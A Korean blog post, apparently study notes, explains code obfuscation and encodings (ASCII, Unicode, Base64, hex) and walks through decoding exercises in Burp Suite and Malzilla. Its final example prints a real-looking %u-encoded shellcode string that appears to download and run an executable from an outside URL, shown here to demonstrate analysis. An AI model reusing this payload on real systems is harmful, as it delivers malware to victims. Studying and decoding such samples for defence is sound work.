처음 만나는 클라우드 보안

난독화 (Obfuscated code): 인코딩과 디코딩 정리 + 디코딩 실습 본문

정보보안

난독화 (Obfuscated code): 인코딩과 디코딩 정리 + 디코딩 실습

영민하게 2022. 5. 10. 19:59
반응형

이번 포스팅에선 난독화와 인코딩에 대해 알아보고 관련된 실습을 진행해본다.

 

난독화란?

: 개발자 혹은 공격자가 코드 스크립트의 분석이 어렵게 또는 분석시간을 늦추기위해 사용되는 기법을 말한다.

 

인코딩 & 디코딩

 인코딩(Encoding): 사람이 작성한 코드를 컴퓨터가 이해할 수 있는 형태나 형식으로 변환 및 처리하는 과정을 말한다. 이때 변환의 기준은 대표적으로 ASCII코드유니코드가 있다.

 

 디코딩(Decoding): 인코딩의 반대말로서 인코딩을 거쳐 변형된 형태를 원래 상태로 되돌리는 것을 말한다.

Unicode: 3세계 언어를 표현하기 위해 사용함

 

인코딩 방식

 ASCII (ASCII, American Standard Code for Information Interchange)

: 미국 국립 표준 협회(ANSI)에서 표준화 한 문자 인코딩의 기초체계이다. 영문의 /소문자, 숫자 그리고 특수문자표시가 가능하며 *16진수로 000(0x00)부터 127(ox7F)까지 총 128개로 이루어져 있어 27승으로 표현되어 총 7bit의 부호체계이다.

 

참고) 컴퓨터의 기본 저장 단위는 1바이트지만 아스키코드가 7비트인 이유는 1비트를 통신에러 검출로 할당했기 때문

  *16진수(Hexa-Decimal): 0,1,2, … 9, A, B, C, D, E, F (16)

 

 유니코드(UNICODE)

: 현재 가장 널리쓰이는 산업 표준으로, 기존 ASCII가 갖던 용량의 한계를 넘어 전 세계의 문자를 컴퓨터에서 일관되게 표현 가능하다. 1999년 HTML4표준이 등장한 이래 UTF-8을 표준 인코딩 방식이 오늘날까지 통용되고 있다.

 

 64진법(Base64)

: 바이너리 데이터를 문자 코드에 영향을 받지 않는 ASCII코드로 표현하기 위해 만들어진 인코딩을 말한다. 8비트짜리 바이트 3개를 4개씩 쪼개어 Base64코드 4개로 사용된다.  4글자 단위에서 빈부분은 패딩(=)으로 처리된다.

 

ex) 4글자 단위의 패딩(=) 확인

Sk => c2s=

Ski=> c2tp

Skin=> c2tpbg==

Sking=> c2tpbmc=

Skingk=> c2tpbmdr

 

 헥스(Hexa-decimal)

: 한 자리수에 2^4을 표현할 수 있어 공간 축약성이 좋고, 이진수와의 호환성이 높기 때문에 컴퓨터에서 많이 사용된다.

: 1바이트 (한글자)를 2바이트 16진수로 표현한다. 2 6승인 64,6bit, 2bit 단위로 3개씩 사용

: %, \x를 구분자로 사용한다. Ex) %eb \x3a, \x00

헥사 알파벳 순서

41: A

61: a

30: 1

31: 1

 

 UCS(Universal Character Set, 범용 문자 집합)

: UCS2 16비트를 사용 4자리로 표현

 


디코딩 실습

활용된 프로그램 : Bluebell (http://s-lucky.titory.com/31)

 

%ea%b4%80%eb%a6%ac%ec%9e%90 : 관리자  : %구분 => 십육진수 => UTF8로 변환

 

UGFzc3dvcmQgaXMgV2ViaGFja2Vy : Password is Webhacker : 대문자 소문자 사용 => Base64

 

 

※주의 난독화된 스크립트는 위험한 사이트로 바로 연결될 수 있다.

 

이때 로컬 프락시 (Local Proxy)를 활용하여 사이트에 대한 직접 방문 없이 디코딩이 가능하다. 로컬 프락시는 Burp suite프로그램이 사용되었다.

(좌) 디코딩 대상 코드 (우) 로컬 프락시로 우회접속 시도

 

난독화에 있어서 인코딩 뿐 아니라 아래 함수가 적용되어 디코딩의 어려움이 더욱 가중된다.

  • Unescape(): escape를 원래대로 변환
  • String.from CharCode(): 10진수를 ASCII로 변환

이때 디코딩과 함수적용을 함께 할 수 있는 프로그램인 Malzilla를 활용한다.

 

[Malzilla 공식사이트] https://malzilla.org/ 

 

인코딩과 함수가 동시에 적용된 코드도 아래와 같이 복호화가 이루어졌다.

 

예시)

"%u90" + "90" +"%uefe9%u0000%u5a00%ua164%u00" + "30%u0000%u408b%u8b0c%u1c70%u" +"8bad%u0840%ud88b%u738b%u8b3c" + "%u1e74%u0378%u8bf3%u207e%ufb" +"03%u4e8b%u3314%u56ed%u5157%u" + "3f8b%ufb03%uf28b%u0e6a%uf359" +"%u74a6%u5908%u835f%u04c7%ue2" + "45%u59e9%u5e5f%ucd8b%u468b%u" +"0324%ud1c3%u03e1%u33c1%u66c9" + "%u088b%u468b%u031c%uc1c3%u02" +"e1%uc103%u008b%uc303%ufa8b%u" + "f78b%uc683%u8b0e%u6ad0%u5904" +"%u6ae8%u0000%u8300%u0dc6%u56" + "52%u57ff%u5afc%ud88b%u016a%u" +"e859%u0057%u0000%uc683%u5613" + "%u8046%u803e%ufa75%u3680%u5e" +"80%uec83%u8b40%uc7dc%u6303%u" + "646d%u4320%u4343%u6643%u03c7" +"%u632f%u4343%u03c6%u4320%u20" + "6a%uff53%uec57%u04c7%u5c03%u" +"2e61%uc765%u0344%u7804%u0065" + "%u3300%u50c0%u5350%u5056%u57" +"ff%u8bfc%u6adc%u5300%u57ff%u" + "68f0%u2451%u0040%uff58%u33d0" +"%uacc0%uc085%uf975%u5251%u53" + "56%ud2ff%u595a%ue2ab%u33ee%u" +"c3c0%u0ce8%uffff%u47ff%u7465" + "%u7250%u636f%u6441%u7264%u73" +"65%u0073%u6547%u5374%u7379%u" + "6574%u446d%u7269%u6365%u6f74" +"%u7972%u0041%u6957%u456e%u65" + "78%u0063%u7845%u7469%u6854%u" +"6572%u6461%u4c00%u616f%u4c64" + "%u6269%u6172%u7972%u0041%u72" +"75%u6d6c%u6e6f%u5500%u4c52%u" + "6f44%u6e77%u6f6c%u6461%u6f54" +"%u6946%u656c%u0041%u7468%u7074%u2f3a%u632f%u772e%u6361%u7973%u632e%u6d6f%u6f2f% u2e6b%u7865%u0065"

 

Misc decoder (text) > concatenate (+없애서 통일시키기) > UCS2 to Hex > Hex 탭으로 복사, Hex로 붙여넣기

> 오른쪽 유포창 확인

 

Hex로 붙여넣은 후 유포 주소 확인

 

 

참고자료https://medium.com/@Lilyislily/%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%EC%9D%98-%EA%B8%B0%EB%B3%B8%EC%A0%81%EC%9D%B8-%EB%82%9C%EB%8F%85%ED%99%94-%EA%B8%B0%EB%B2%95-74e4d42bc7ba
http://wiki.hash.kr/index.php/%EB%94%94%EC%BD%94%EB%94%A9
https://m.blog.naver.com/ycpiglet/222146759413
https://whatisthenext.tistory.com/103
https://namu.wiki/w/BASE64

 

아스키(ASCII)코드와 유니코드(Unicode)의 이해

안철수 의원이 의대생 시절에 다른 분야의 지식을 습득하고 싶으면 '칼럼'을 쓰라는 내용을 읽은 적이 있다. 프로그래밍 언어를 공부하다보면 항상 '아스키코드, 유니코드'와 마주치는 순간이

whatisthenext.tistory.com

 

BASE64 - 나무위키

'E1L'을 Base64로 인코딩하는 과정은 아래와 같다. 원문E1L바이트 값0x450x310x4C2진수010001010011000101001100변환 값1719512결과RTFM 결과는 'RTFM'. 디코딩은 이 표에 나온 과정을 거꾸로 하면 된다. 리눅스에서

namu.wiki

 

디코딩 - 해시넷

디코딩(decoding)이란 변형된 형태로 저장된 파일을 원래 상태로 되돌리는 것을 말한다. 복호화라고도 한다. 아날로그 신호의 표본치는 부호기에서 양자화·부호화되어 디지털 부호로 변환된다.

wiki.hash.kr

 

자바스크립트의 기본적인 난독화 기법

**난독화란?

medium.com

 

반응형
Comments